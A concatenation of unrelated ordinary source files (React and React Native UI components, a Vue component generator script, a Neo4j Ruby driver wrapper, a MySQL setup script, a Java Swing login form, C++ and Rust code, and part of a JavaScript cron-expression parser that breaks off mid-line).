<filename>src/example-components/BlocksIcons/BlocksIcons6/index.js import React from 'react'; import { FontAwesomeIcon } from '@fortawesome/react-fontawesome'; import { Grid, Card, CardContent, Button } from '@material-ui/core'; export default function LivePreviewExample() { return ( <> <div className="mb-spacing-6"> <Grid container spacing={6}> <Grid item xl={4}> <Card className="shadow-xxl card-box-hover-rise p-2"> <CardContent> <div className="bg-deep-blue text-center text-white font-size-xl d-60 rounded-circle btn-icon"> <FontAwesomeIcon icon={['far', 'envelope']} /> </div> <h3 className="heading-6 mt-4 mb-3 font-weight-bold"> Lightweight </h3> <p className="card-text mb-3"> View any of the 5+ live previews we&#39;ve set up to learn why this dashboard template is the last one you&#39;ll ever need! </p> <Button href="#/" onClick={(e) => e.preventDefault()} className="btn-link btn-link-primary pl-0 pr-0" title="Learn more"> <span>Learn more</span> </Button> </CardContent> </Card> </Grid> <Grid item xl={4}> <Card className="shadow-xxl card-box-hover-rise p-2"> <CardContent> <div className="bg-sunny-morning text-center text-white font-size-xl d-60 rounded-circle btn-icon"> <FontAwesomeIcon icon={['far', 'keyboard']} /> </div> <h3 className="heading-6 mt-4 mb-3 font-weight-bold"> Simple to use </h3> <p className="card-text mb-3"> View any of the 5+ live previews we&#39;ve set up to learn why this dashboard template is the last one you&#39;ll ever need! </p> <Button href="#/" onClick={(e) => e.preventDefault()} className="btn-link btn-link-primary pl-0 pr-0" title="Learn more"> <span>Learn more</span> </Button> </CardContent> </Card> </Grid> <Grid item xl={4}> <Card className="shadow-xxl card-box-hover-rise p-2"> <CardContent> <div className="bg-grow-early text-center text-white font-size-xl d-60 rounded-circle btn-icon"> <FontAwesomeIcon icon={['far', 'address-card']} /> </div> <h3 className="heading-6 mt-4 mb-3 font-weight-bold"> Starter templates </h3> <p className="card-text mb-3"> View any of the 5+ live previews we&#39;ve set up to learn why this dashboard template is the last one you&#39;ll ever need! </p> <Button href="#/" onClick={(e) => e.preventDefault()} className="btn-link btn-link-primary pl-0 pr-0" title="Learn more"> <span>Learn more</span> </Button> </CardContent> </Card> </Grid> </Grid> </div> </> ); }
<reponame>LesterCerioli/Umbriel<gh_stars>100-1000 import { InMemoryTemplatesRepository } from '../../repositories/in-memory/InMemoryTemplatesRepository' import { CreateTemplate } from './CreateTemplate' let templatesRepository: InMemoryTemplatesRepository let createTemplate: CreateTemplate describe('Create Message', () => { beforeEach(async () => { templatesRepository = new InMemoryTemplatesRepository() createTemplate = new CreateTemplate(templatesRepository) }) it('should be able to create new template', async () => { const response = await createTemplate.execute({ title: 'My new template', content: 'A valid template content with {{ message_content }} template variable.', }) expect(response.isRight()).toBeTruthy() expect(templatesRepository.items[0]).toEqual( expect.objectContaining({ id: expect.any(String) }) ) }) it('should not be able to create new template with invalid content', async () => { const response = await createTemplate.execute({ title: 'My new template', content: 'invalid-content', }) expect(response.isLeft()).toBeTruthy() expect(templatesRepository.items.length).toBe(0) }) })
#! /bin/bash NAME=$1 FILE_PATH=$(cd "$(dirname "${BASH_SOURCE[0]}")/../packages" && pwd) re="[[:space:]]+" if [ "$#" -ne 1 ] || [[ $NAME =~ $re ]] || [ "$NAME" == "" ]; then echo "Usage: yarn gc \${name} with no space" exit 1 fi DIRNAME="$FILE_PATH/$NAME" INPUT_NAME=$NAME if [ -d "$DIRNAME" ]; then echo "$NAME component already exists, please change it" exit 1 fi NORMALIZED_NAME="" for i in $(echo $NAME | sed 's/[_|-]\([a-z]\)/\ \1/;s/^\([a-z]\)/\ \1/'); do C=$(echo "${i:0:1}" | tr "[:lower:]" "[:upper:]") NORMALIZED_NAME="$NORMALIZED_NAME${C}${i:1}" done NAME=$NORMALIZED_NAME mkdir -p "$DIRNAME" mkdir -p "$DIRNAME/src" mkdir -p "$DIRNAME/doc" mkdir -p "$DIRNAME/__tests__" cat > $DIRNAME/src/index.vue <<EOF <template> <div> <slot></slot> </div> </template> <script lang='ts'> import { defineComponent } from 'vue' export default defineComponent({ name: 'El${NAME}', props: { }, setup(props) { // init here }, }) </script> <style scoped> </style> EOF cat <<EOF >"$DIRNAME/index.ts" import { App } from 'vue' import ${NAME} from './src/index.vue' export default (app: App): void => { app.component(${NAME}.name, ${NAME}) } EOF cat > $DIRNAME/package.json <<EOF { "name": "@element-plus/$INPUT_NAME", "version": "0.0.0", "main": "dist/index.js", "license": "MIT", "peerDependencies": { "vue": "^3.0.0-rc.9" }, "devDependencies": { "@vue/test-utils": "^2.0.0-beta.3" } } EOF cat > $DIRNAME/__tests__/$INPUT_NAME.spec.ts <<EOF import { mount } from '@vue/test-utils' import $NAME from '../src/index.vue' const AXIOM = 'Rem is the best girl' describe('$NAME.vue', () => { test('render test', () => { const wrapper = mount($NAME, { slots: { default: AXIOM, }, }) expect(wrapper.text()).toEqual(AXIOM) }) }) EOF cat <<EOF >"$DIRNAME/doc/index.stories.ts" import El${NAME} from '../index' export default { title: '${NAME}', } EOF
module Neo4j::Driver module Internal class InternalSession extend AutoClosable include Ext::ConfigConverter include Ext::ExceptionCheckable include Ext::RunOverride java_import org.neo4j.driver.internal.util.Futures attr_reader :session delegate :open?, :last_bookmark, to: :session auto_closable :begin_transaction def initialize(session) @session = session end def run(query, parameters = {}, config = {}) check do cursor = Futures.blockingGet(session.runAsync(to_statement(query, parameters), to_java_config(org.neo4j.driver.TransactionConfig, config))) do terminateConnectionOnThreadInterrupt("Thread interrupted while running query in session") end # query executed, it is safe to obtain a connection in a blocking way connection = Futures.getNow(session.connectionAsync) InternalResult.new(connection, cursor) end end def close check do Futures.blockingGet(session.closeAsync) do terminateConnectionOnThreadInterrupt("Thread interrupted while closing the session") end end end def begin_transaction(**config) check do tx = Futures.blockingGet(session.beginTransactionAsync(to_java_config(org.neo4j.driver.TransactionConfig, config))) do org.neo4j.driver.internal.terminateConnectionOnThreadInterrupt("Thread interrupted while starting a transaction") end InternalTransaction.new(tx) end end def read_transaction(**config, &block) transaction(org.neo4j.driver.AccessMode::READ, **config, &block) end def write_transaction(**config, &block) transaction(org.neo4j.driver.AccessMode::WRITE, **config, &block) end private # work around jruby issue https://github.com/jruby/jruby/issues/5603 Struct.new('Wrapper', :object) def transaction(mode, **config) # use different code path compared to async so that work is executed in the caller thread # caller thread will also be the one who sleeps between retries; # it is unsafe to execute retries in the event loop threads because this can cause a deadlock # event loop thread will bock and wait for itself to read some data check do @session.retry_logic.retry do tx = private_begin_transaction(mode, config) result = reverse_check { yield tx } tx.commit if tx.open? # if a user has not explicitly committed or rolled back the transaction Struct::Wrapper.new(result) ensure tx&.close end.object end end def private_begin_transaction(mode, **config) tx = Futures.blockingGet(session.beginTransactionAsync(mode, to_java_config(org.neo4j.driver.TransactionConfig, config))) do terminateConnectionOnThreadInterrupt("Thread interrupted while starting a transaction") end InternalTransaction.new(tx) end def terminateConnectionOnThreadInterrupt(reason) connection = Futures.getNow(session.connectionAsync) rescue Exception nil # ignore errors because handing interruptions is best effort ensure connection&.terminateAndRelease(reason) end end end end
/** * Copyright (c) Facebook, Inc. and its affiliates. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. * * @format */ declare const process: any; // TODO: there are currently two definitions of isProduction active, // this one, and one provided by the RenderHostConfig. Ideally they should be unified export function isProduction(): boolean { return ( typeof process === 'undefined' || process.env.NODE_ENV === 'production' ); }
use std::collections::HashSet; #[derive(Debug, PartialEq, Eq, Hash)] struct TestClient { keys: HashSet<String>, } impl TestClient { fn new() -> TestClient { TestClient { keys: HashSet::new(), } } fn generate_rsa_sign_key(&mut self, name: String) -> Result<(), String> { if self.keys.contains(&name) { return Err(format!("Key '{}' already exists", name)); } self.keys.insert(name); Ok(()) } fn destroy_key(&mut self, name: String) -> Result<(), String> { if !self.keys.contains(&name) { return Err(format!("Key '{}' does not exist", name)); } self.keys.remove(&name); Ok(()) } } #[cfg(test)] mod tests { use super::*; #[test] fn test_key_management() { let mut client = TestClient::new(); let key_name = String::from("create_destroy_twice_1"); let key_name_2 = String::from("create_destroy_twice_2"); assert_eq!(client.generate_rsa_sign_key(key_name.clone()), Ok(())); assert_eq!(client.generate_rsa_sign_key(key_name_2.clone()), Ok(())); assert_eq!(client.destroy_key(key_name.clone()), Ok(())); assert_eq!(client.destroy_key(key_name_2.clone()), Ok(())); } }
#!/usr/bin/env bash mypass="${mypass:-BadPass#1}" db_root_password="${mypass}" sudo yum -y -q install mysql-server mysql-connector-java sudo chkconfig mysqld on sudo service mysqld start sudo ambari-server setup --jdbc-db=mysql --jdbc-driver=/usr/share/java/mysql-connector-java.jar cat << EOF | mysql -u root GRANT ALL PRIVILEGES ON *.* to 'root'@'$(hostname -f)' WITH GRANT OPTION; SET PASSWORD FOR 'root'@'$(hostname -f)' = PASSWORD('${db_root_password}'); FLUSH PRIVILEGES; exit EOF
/* * The MIT License * * Copyright 2018 Josh. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ package Ventanas; import biblioteca.*; import javax.swing.*; import java.awt.*; import java.awt.event.ActionEvent; import java.awt.event.ActionListener; /** * * @author Josh */ public class Login extends VentanaPadre implements ActionListener{ boolean log = false; JTextField usuarioTexto = new JTextField(""); JPasswordField passwordTexto = new JPasswordField(""); public Login(VentanaPadre anterior){ super("Login", anterior); Ancho = 340; Alto = 500; setSize(Ancho, Alto); setLocationRelativeTo(null); JPanel informacionPanel = new JPanel(new GridLayout(4,1,20,40)); informacionPanel.add(new JLabel("Usuario")); informacionPanel.add(usuarioTexto); informacionPanel.add(new JLabel("Password")); informacionPanel.add(passwordTexto); informacionPanel.setBounds(50,40,240,220); JPanel botonesPanel = new JPanel(new GridLayout(1,2,20,40)); JButton aceptarBoton = new JButton("Aceptar"), cerrarBoton = new JButton("Cerrar"); aceptarBoton.addActionListener(this); cerrarBoton.addActionListener(this); botonesPanel.add(aceptarBoton); botonesPanel.add(cerrarBoton); botonesPanel.setBounds(50,340,240,50); getContentPane().add(informacionPanel); getContentPane().add(botonesPanel); } private void comprobarUsuario(){ for (int i = 0; i < Biblioteca.usuariosActivos.length; i++) { if(Biblioteca.usuariosActivos[i].getNick().contentEquals(usuarioTexto.getText())){ comprobarPassword(i); return; } } String mensaje = "El usuario no existe, ponerse en contacto con el administrador para solicitar registro."; JOptionPane.showMessageDialog(this, mensaje, "Error", 2); } private void comprobarPassword(int numeroUsuario){ if(Biblioteca.usuariosActivos[numeroUsuario].getPassword().equals(passwordTexto.getText())){ log = true; Biblioteca.usuarioConectado = Biblioteca.usuariosActivos[numeroUsuario]; Biblioteca.usuarioConectado.abrirVentana(this); dispose(); }else{ String mensaje = "La contraseña que ha ingresado no coincide con el nombre de usuario."; JOptionPane.showMessageDialog(this, mensaje, "Contraseña incorrecta", 2); } } public void borrarValores(){ usuarioTexto.setText(""); passwordTexto.setText(""); } @Override public void setVisible(boolean b){ borrarValores(); log = false; super.setVisible(b); } @Override public void dispose(){ cerrar(!log); } @Override public void actionPerformed(ActionEvent e) { switch(e.getActionCommand()){ case "Aceptar": comprobarUsuario(); break; case "Cerrar": dispose(); break; } } }
<reponame>boubad/CygProjects #include "../include/indiv.h" /////////////////////////////// namespace info { //////////////////////////////////////// extern bool info_global_get_random_indivs(const size_t n, IIndivProvider *pProvider, info_indivs_vector &oVec){ assert(n > 0); assert(pProvider != nullptr); assert(pProvider->is_valid()); // std::srand(unsigned(std::time(0))); oVec.clear(); size_t nCount = 0; if (!pProvider->indivs_count(nCount)){ return (false); } if (n > nCount){ return (false); } std::vector<size_t> indexes(nCount); for (size_t i = 0; i < nCount; ++i){ indexes[i] = i; } std::random_shuffle(indexes.begin(), indexes.end()); oVec.resize(n); for (size_t i = 0; i < n; ++i){ pProvider->find_indiv_at(indexes[i],oVec[i]); }// i return (true); }//info_global_get_random_indivs /////////////////////////////////////////// Indiv::Indiv() { } Indiv::Indiv(const IntType aIndex) : DBStatIndiv(aIndex) { } Indiv::Indiv(const IntType aIndex, const DbValueMap &oMap) : DBStatIndiv(aIndex), m_map(oMap) { } Indiv::Indiv(const DBStatIndiv &oBaseInd) : DBStatIndiv(oBaseInd) { } Indiv::Indiv(const Indiv &other) : DBStatIndiv(other), m_map(other.m_map) { } Indiv & Indiv::operator=(const Indiv &other) { if (this != &other) { DBStatIndiv::operator=(other); this->m_map = other.m_map; } return (*this); } Indiv::~Indiv() { } bool Indiv::empty(void) const{ return (this->m_map.empty()); } const DbValueMap &Indiv::data(void) const { return (this->m_map); } bool Indiv::has_variable(const IntType key) const { auto it = this->m_map.find(key); if (it == this->m_map.end()) { return (false); } const DbValue &v = (*it).second; return (!v.empty()); } void Indiv::set_variable(const IntType key, const DbValue &v) { (this->m_map)[key] = DbValue(v); } void Indiv::swap(Indiv &other) { Indiv t(*this); *this = other; other = t; } void Indiv::get_data(DbValueMap &oMap) const { oMap = this->m_map; } void Indiv::set_data(const DbValueMap &oMap) { this->m_map = oMap; } double Indiv::distance(const Indiv &other) const { const DbValueMap &m1 = this->data(); const DbValueMap &m2 = other.data(); size_t nc = 0; double dRet = 0; std::for_each(m1.begin(), m1.end(), [m2, &nc, &dRet](const std::pair<IntType, DbValue> &oPair) { const IntType key = oPair.first; const DbValue &v1 = oPair.second; if (!v1.empty()) { auto jt = m2.find(key); if (jt != m2.end()) { const DbValue &v2 = (*jt).second; if (!v2.empty()) { double t = v1.double_value() - v2.double_value(); dRet += t * t; ++nc; }// ok }// found }// v1 }); if (nc > 1) { dRet /= nc; } return dRet; } // distance ////////////////////////////////////////// } // namespace info
import React, {useState} from 'react'; import {View, Text, Button, TextInput, FlatList} from 'react-native'; const App = () => { const [text, setText] = useState(''); const [items, setItems] = useState([]); const onPress = () => { setItems([...items, text]); setText(''); }; return ( <View style={{flex: 1, justifyContent: 'center', alignItems: 'center'}}> <TextInput style={{height: 40, borderColor: 'gray', borderWidth: 1, width: '80%'}} value={text} onChangeText={(text) => setText(text)} /> <Button title='Add' onPress={onPress} /> <FlatList data={items} renderItem={({item}) => <Text>{item}</Text>} keyExtractor={(item, index) => index.toString()} /> </View> ); }; export default App;
<filename>src/plugins/orbbec_hand/hnd_debug_handstream.hpp // This file is part of the Orbbec Astra SDK [https://orbbec3d.com] // Copyright (c) 2015 Or<NAME> // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // // Be excellent to each other. #ifndef HND_DEBUG_HANDSTREAM_H #define HND_DEBUG_HANDSTREAM_H #include <astra_core/plugins/SingleBinStream.hpp> #include <astra/capi/astra_ctypes.h> #include <astra/capi/streams/stream_types.h> #include <astra/Vector.hpp> namespace astra { namespace hand { using debug_handview_type = astra_debug_hand_view_type_t; class debug_handstream : public plugins::single_bin_stream<astra_imageframe_wrapper_t> { public: debug_handstream(PluginServiceProxy& pluginService, astra_streamset_t streamSet, uint32_t width, uint32_t height, uint32_t bytesPerPixel) : single_bin_stream(pluginService, streamSet, StreamDescription(ASTRA_STREAM_DEBUG_HAND, DEFAULT_SUBTYPE), width * height * bytesPerPixel) { } debug_handview_type view_type() const { return viewType_; } void set_view_type(debug_handview_type view) { viewType_ = view; } bool use_mouse_probe() const { return useMouseProbe_; } const Vector2f& mouse_norm_position() const { return mouseNormPosition_; } bool pause_input() const { return pauseInput_; } bool spawn_point_locked() const { return lockSpawnPoint_; } const Vector2f& spawn_norm_position() const { return spawnNormPosition_; } protected: virtual void on_set_parameter(astra_streamconnection_t connection, astra_parameter_id id, size_t inByteLength, astra_parameter_data_t inData) override; virtual void on_get_parameter(astra_streamconnection_t connection, astra_parameter_id id, astra_parameter_bin_t& parameterBin) override; virtual void on_invoke(astra_streamconnection_t connection, astra_command_id commandId, size_t inByteLength, astra_parameter_data_t inData, astra_parameter_bin_t& parameterBin) override; private: void get_view_parameter(astra_parameter_bin_t& parameterBin); void set_view_parameter(size_t inByteLength, astra_parameter_data_t& inData); void set_use_mouse_probe(size_t inByteLength, astra_parameter_data_t& inData); void set_mouse_norm_position(size_t inByteLength, astra_parameter_data_t& inData); void set_pause_input(size_t inByteLength, astra_parameter_data_t& inData); void set_lock_spawn_point(size_t inByteLength, astra_parameter_data_t& inData); debug_handview_type viewType_{ DEBUG_HAND_VIEW_DEPTH }; bool useMouseProbe_{false}; Vector2f mouseNormPosition_; Vector2f spawnNormPosition_; bool pauseInput_{false}; bool lockSpawnPoint_{false}; }; }} #endif /* HND_DEBUG_HANDSTREAM_H */
try: from fonticon_fa5 import FA5S except ImportError as e: raise type(e)( "This example requires the fontawesome fontpack:\n\n" "pip install git+https://github.com/tlambert03/fonticon-fontawesome5.git" ) from qtpy.QtCore import QSize from qtpy.QtWidgets import QApplication, QPushButton from superqt.fonticon import icon, pulse app = QApplication([]) btn2 = QPushButton() btn2.setIcon(icon(FA5S.spinner, animation=pulse(btn2))) btn2.setIconSize(QSize(225, 225)) btn2.show() app.exec()
<reponame>jpaproject/wilmar-plant-reporting<gh_stars>1-10 'use strict'; // Load Date class extensions var CronDate = require('./date'); // Get Number.isNaN or the polyfill var safeIsNaN = require('is-nan'); /** * Cron iteration loop safety limit */ var LOOP_LIMIT = 10000; /** * Detect if input range fully matches constraint bounds * @param {Array} range Input range * @param {Array} constraints Input constraints * @returns {Boolean} * @private */ function isWildcardRange(range, constraints) { if (range instanceof Array && !range.length) { return false; } if (constraints.length !== 2) { return false; } return range.length === (constraints[1] - (constraints[0] < 1 ? - 1 : 0)); } /** * Construct a new expression parser * * Options: * currentDate: iterator start date * endDate: iterator end date * * @constructor * @private * @param {Object} fields Expression fields parsed values * @param {Object} options Parser options */ function CronExpression (fields, options) { this._options = options; this._utc = options.utc || false; this._tz = this._utc ? 'UTC' : options.tz; this._currentDate = new CronDate(options.currentDate, this._tz); this._startDate = options.startDate ? new CronDate(options.startDate, this._tz) : null; this._endDate = options.endDate ? new CronDate(options.endDate, this._tz) : null; this._fields = fields; this._isIterator = options.iterator || false; this._hasIterated = false; this._nthDayOfWeek = options.nthDayOfWeek || 0; } /** * Field mappings * @type {Array} */ CronExpression.map = [ 'second', 'minute', 'hour', 'dayOfMonth', 'month', 'dayOfWeek' ]; /** * Prefined intervals * @type {Object} */ CronExpression.predefined = { '@yearly': '0 0 1 1 *', '@monthly': '0 0 1 * *', '@weekly': '0 0 * * 0', '@daily': '0 0 * * *', '@hourly': '0 * * * *' }; /** * Fields constraints * @type {Array} */ CronExpression.constraints = [ [ 0, 59 ], // Second [ 0, 59 ], // Minute [ 0, 23 ], // Hour [ 1, 31 ], // Day of month [ 1, 12 ], // Month [ 0, 7 ] // Day of week ]; /** * Days in month * @type {number[]} */ CronExpression.daysInMonth = [ 31, 29, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31 ]; /** * Field aliases * @type {Object} */ CronExpression.aliases = { month: { jan: 1, feb: 2, mar: 3, apr: 4, may: 5, jun: 6, jul: 7, aug: 8, sep: 9, oct: 10, nov: 11, dec: 12 }, dayOfWeek: { sun: 0, mon: 1, tue: 2, wed: 3, thu: 4, fri: 5, sat: 6 } }; /** * Field defaults * @type {Array} */ CronExpression.parseDefaults = [ '0', '*', '*', '*', '*', '*' ]; CronExpression.standardValidCharacters = /^[\d|/|*|\-|,]+$/; CronExpression.dayValidCharacters = /^[\d|/|*|\-|,|\?]+$/; CronExpression.validCharacters = { second: CronExpression.standardValidCharacters, minute: CronExpression.standardValidCharacters, hour: CronExpression.standardValidCharacters, dayOfMonth: CronExpression.dayValidCharacters, month: CronExpression.standardValidCharacters, dayOfWeek: CronExpression.dayValidCharacters, } /** * Parse input interval * * @param {String} field Field symbolic name * @param {String} value Field value * @param {Array} constraints Range upper and lower constraints * @return {Array} Sequence of sorted values * @private */ CronExpression._parseField = function _parseField (field, value, constraints) { // Replace aliases switch (field) { case 'month': case 'dayOfWeek': var aliases = CronExpression.aliases[field]; value = value.replace(/[a-z]{1,3}/gi, function(match) { match = match.toLowerCase(); if (typeof aliases[match] !== undefined) { return aliases[match]; } else { throw new Error('Cannot resolve alias "' + match + '"') } }); break; } // Check for valid characters. if (!(CronExpression.validCharacters[field].test(value))) { throw new Error('Invalid characters, got value: ' + value) } // Replace '*' and '?' if (value.indexOf('*') !== -1) { value = value.replace(/\*/g, constraints.join('-')); } else if (value.indexOf('?') !== -1) { value = value.replace(/\?/g, constraints.join('-')); } // // Inline parsing functions // // Parser path: // - parseSequence // - parseRepeat // - parseRange /** * Parse sequence * * @param {String} val * @return {Array} * @private */ function parseSequence (val) { var stack = []; function handleResult (result) { if (result instanceof Array) { // Make sequence linear for (var i = 0, c = result.length; i < c; i++) { var value = result[i]; // Check constraints if (value < constraints[0] || value > constraints[1]) { throw new Error( 'Constraint error, got value ' + value + ' expected range ' + constraints[0] + '-' + constraints[1] ); } stack.push(value); } } else { // Scalar value result = +result; // Check constraints if (result < constraints[0] || result > constraints[1]) { throw new Error( 'Constraint error, got value ' + result + ' expected range ' + constraints[0] + '-' + constraints[1] ); } if (field == 'dayOfWeek') { result = result % 7; } stack.push(result); } } var atoms = val.split(','); if (atoms.length > 1) { for (var i = 0, c = atoms.length; i < c; i++) { handleResult(parseRepeat(atoms[i])); } } else { handleResult(parseRepeat(val)); } stack.sort(function(a, b) { return a - b; }); return stack; } /** * Parse repetition interval * * @param {String} val * @return {Array} */ function parseRepeat (val) { var repeatInterval = 1; var atoms = val.split('/'); if (atoms.length > 1) { if (atoms[0] == +atoms[0]) { atoms = [atoms[0] + '-' + constraints[1], atoms[1]]; } return parseRange(atoms[0], atoms[atoms.length - 1]); } return parseRange(val, repeatInterval); } /** * Parse range * * @param {String} val * @param {Number} repeatInterval Repetition interval * @return {Array} * @private */ function parseRange (val, repeatInterval) { var stack = []; var atoms = val.split('-'); if (atoms.length > 1 ) { // Invalid range, return value if (atoms.length < 2) { return +val; } if (!atoms[0].length) { if (!atoms[1].length) { throw new Error('Invalid range: ' + val); } return +val; } // Validate range var min = +atoms[0]; var max = +atoms[1]; if (safeIsNaN(min) || safeIsNaN(max) || min < constraints[0] || max > constraints[1]) { throw new Error( 'Constraint error, got range ' + min + '-' + max + ' expected range ' + constraints[0] + '-' + constraints[1] ); } else if (min >= max) { throw new Error('Invalid range: ' + val); } // Create range var repeatIndex = +repeatInterval; if (safeIsNaN(repeatIndex) || repeatIndex <= 0) { throw new Error('Constraint error, cannot repeat at every ' + repeatIndex + ' time.'); } for (var index = min, count = max; index <= count; index++) { if (repeatIndex > 0 && (repeatIndex % repeatInterval) === 0) { repeatIndex = 1; stack.push(index); } else { repeatIndex++; } } return stack; } return +val; } return parseSequence(value); }; CronExpression.prototype._applyTimezoneShift = function(currentDate, dateMathVerb, method) { if ((method === 'Month') || (method === 'Day')) { var prevTime = currentDate.getTime(); currentDate[dateMathVerb + method](); var currTime = currentDate.getTime(); if (prevTime === currTime) { // Jumped into a not existent date due to a DST transition if ((currentDate.getMinutes() === 0) && (currentDate.getSeconds() === 0)) { currentDate.addHour(); } else if ((currentDate.getMinutes() === 59) && (currentDate.getSeconds() === 59)) { currentDate.subtractHour(); } } } else { var previousHour = currentDate.getHours(); currentDate[dateMathVerb + method](); var currentHour = currentDate.getHours(); var diff = currentHour - previousHour; if (diff === 2) { // Starting DST if (this._fields.hour.length !== 24) { // Hour is specified this._dstStart = currentHour; } } else if ((diff === 0) && (currentDate.getMinutes() === 0) && (currentDate.getSeconds() === 0)) { // Ending DST if (this._fields.hour.length !== 24) { // Hour is specified this._dstEnd = currentHour; } } } }; /** * Find next or previous matching schedule date * * @return {CronDate} * @private */ CronExpression.prototype._findSchedule = function _findSchedule (reverse) { /** * Match field value * * @param {String} value * @param {Array} sequence * @return {Boolean} * @private */ function matchSchedule (value, sequence) { for (var i = 0, c = sequence.length; i < c; i++) { if (sequence[i] >= value) { return sequence[i] === value; } } return sequence[0] === value; } /** * Helps determine if the provided date is the correct nth occurence of the * desired day of week. * * @param {CronDate} date * @param {Number} nthDayOfWeek * @return {Boolean} * @private */ function isNthDayMatch(date, nthDayOfWeek) { if (nthDayOfWeek < 6) { if ( date.getDate() < 8 && nthDayOfWeek === 1 // First occurence has to happen in first 7 days of the month ) { return true; } var offset = date.getDate() % 7 ? 1 : 0; // Math is off by 1 when dayOfWeek isn't divisible by 7 var adjustedDate = date.getDate() - (date.getDate() % 7); // find the first occurance var occurrence = Math.floor(adjustedDate / 7) + offset; return occurrence === nthDayOfWeek; } return false; } // Whether to use backwards directionality when searching reverse = reverse || false; var dateMathVerb = reverse ? 'subtract' : 'add'; var currentDate = new CronDate(this._currentDate, this._tz); var startDate = this._startDate; var endDate = this._endDate; // Find matching schedule var startTimestamp = currentDate.getTime(); var stepCount = 0; while (stepCount < LOOP_LIMIT) { stepCount++; // Validate timespan if (reverse) { if (startDate && (currentDate.getTime() - startDate.getTime() < 0)) { throw new Error('Out of the timespan range'); } } else { if (endDate && (endDate.getTime() - currentDate.getTime()) < 0) { throw new Error('Out of the timespan range'); } } // Day of month and week matching: // // "The day of a command's execution can be specified by two fields -- // day of month, and day of week. If both fields are restricted (ie, // aren't *), the command will be run when either field matches the cur- // rent time. For example, "30 4 1,15 * 5" would cause a command to be // run at 4:30 am on the 1st and 15th of each month, plus every Friday." // // http://unixhelp.ed.ac.uk/CGI/man-cgi?crontab+5 // var dayOfMonthMatch = matchSchedule(currentDate.getDate(), this._fields.dayOfMonth); var dayOfWeekMatch = matchSchedule(currentDate.getDay(), this._fields.dayOfWeek); var isDayOfMonthWildcardMatch = isWildcardRange(this._fields.dayOfMonth, CronExpression.constraints[3]); var isDayOfWeekWildcardMatch = isWildcardRange(this._fields.dayOfWeek, CronExpression.constraints[5]); var currentHour = currentDate.getHours(); // Add or subtract day if select day not match with month (according to calendar) if (!dayOfMonthMatch && !dayOfWeekMatch) { this._applyTimezoneShift(currentDate, dateMathVerb, 'Day'); continue; } // Add or subtract day if not day of month is set (and no match) and day of week is wildcard if (!isDayOfMonthWildcardMatch && isDayOfWeekWildcardMatch && !dayOfMonthMatch) { this._applyTimezoneShift(currentDate, dateMathVerb, 'Day'); continue; } // Add or subtract day if not day of week is set (and no match) and day of month is wildcard if (isDayOfMonthWildcardMatch && !isDayOfWeekWildcardMatch && !dayOfWeekMatch) { this._applyTimezoneShift(currentDate, dateMathVerb, 'Day'); continue; } // Add or subtract day if day of month and week are non-wildcard values and both doesn't match if (!(isDayOfMonthWildcardMatch && isDayOfWeekWildcardMatch) && !dayOfMonthMatch && !dayOfWeekMatch) { this._applyTimezoneShift(currentDate, dateMathVerb, 'Day'); continue; } // Add or subtract day if day of week & nthDayOfWeek are set (and no match) if ( this._nthDayOfWeek > 0 && !isNthDayMatch(currentDate, this._nthDayOfWeek) ) { this._applyTimezoneShift(currentDate, dateMathVerb, 'Day'); continue; } // Match month if (!matchSchedule(currentDate.getMonth() + 1, this._fields.month)) { this._applyTimezoneShift(currentDate, dateMathVerb, 'Month'); continue; } // Match hour if (!matchSchedule(currentHour, this._fields.hour)) { if (this._dstStart !== currentHour) { this._dstStart = null; this._applyTimezoneShift(currentDate, dateMathVerb, 'Hour'); continue; } else if (!matchSchedule(currentHour - 1, this._fields.hour)) { currentDate[dateMathVerb + 'Hour'](); continue; } } else if (this._dstEnd === currentHour) { if (!reverse) { this._dstEnd = null; this._applyTimezoneShift(currentDate, 'add', 'Hour'); continue; } } // Match minute if (!matchSchedule(currentDate.getMinutes(), this._fields.minute)) { this._applyTimezoneShift(currentDate, dateMathVerb, 'Minute'); continue; } // Match second if (!matchSchedule(currentDate.getSeconds(), this._fields.second)) { this._applyTimezoneShift(currentDate, dateMathVerb, 'Second'); continue; } // Increase a second in case in the first iteration the currentDate was not // modified if (startTimestamp === currentDate.getTime()) { if ((dateMathVerb === 'add') || (currentDate.getMilliseconds() === 0)) { this._applyTimezoneShift(currentDate, dateMathVerb, 'Second'); } else { currentDate.setMilliseconds(0); } continue; } break; } if (stepCount >= LOOP_LIMIT) { throw new Error('Invalid expression, loop limit exceeded'); } this._currentDate = new CronDate(currentDate, this._tz); this._hasIterated = true; return currentDate; }; /** * Find next suitable date * * @public * @return {CronDate|Object} */ CronExpression.prototype.next = function next () { var schedule = this._findSchedule(); // Try to return ES6 compatible iterator if (this._isIterator) { return { value: schedule, done: !this.hasNext() }; } return schedule; }; /** * Find previous suitable date * * @public * @return {CronDate|Object} */ CronExpression.prototype.prev = function prev () { var schedule = this._findSchedule(true); // Try to return ES6 compatible iterator if (this._isIterator) { return { value: schedule, done: !this.hasPrev() }; } return schedule; }; /** * Check if next suitable date exists * * @public * @return {Boolean} */ CronExpression.prototype.hasNext = function() { var current = this._currentDate; var hasIterated = this._hasIterated; try { this._findSchedule(); return true; } catch (err) { return false; } finally { this._currentDate = current; this._hasIterated = 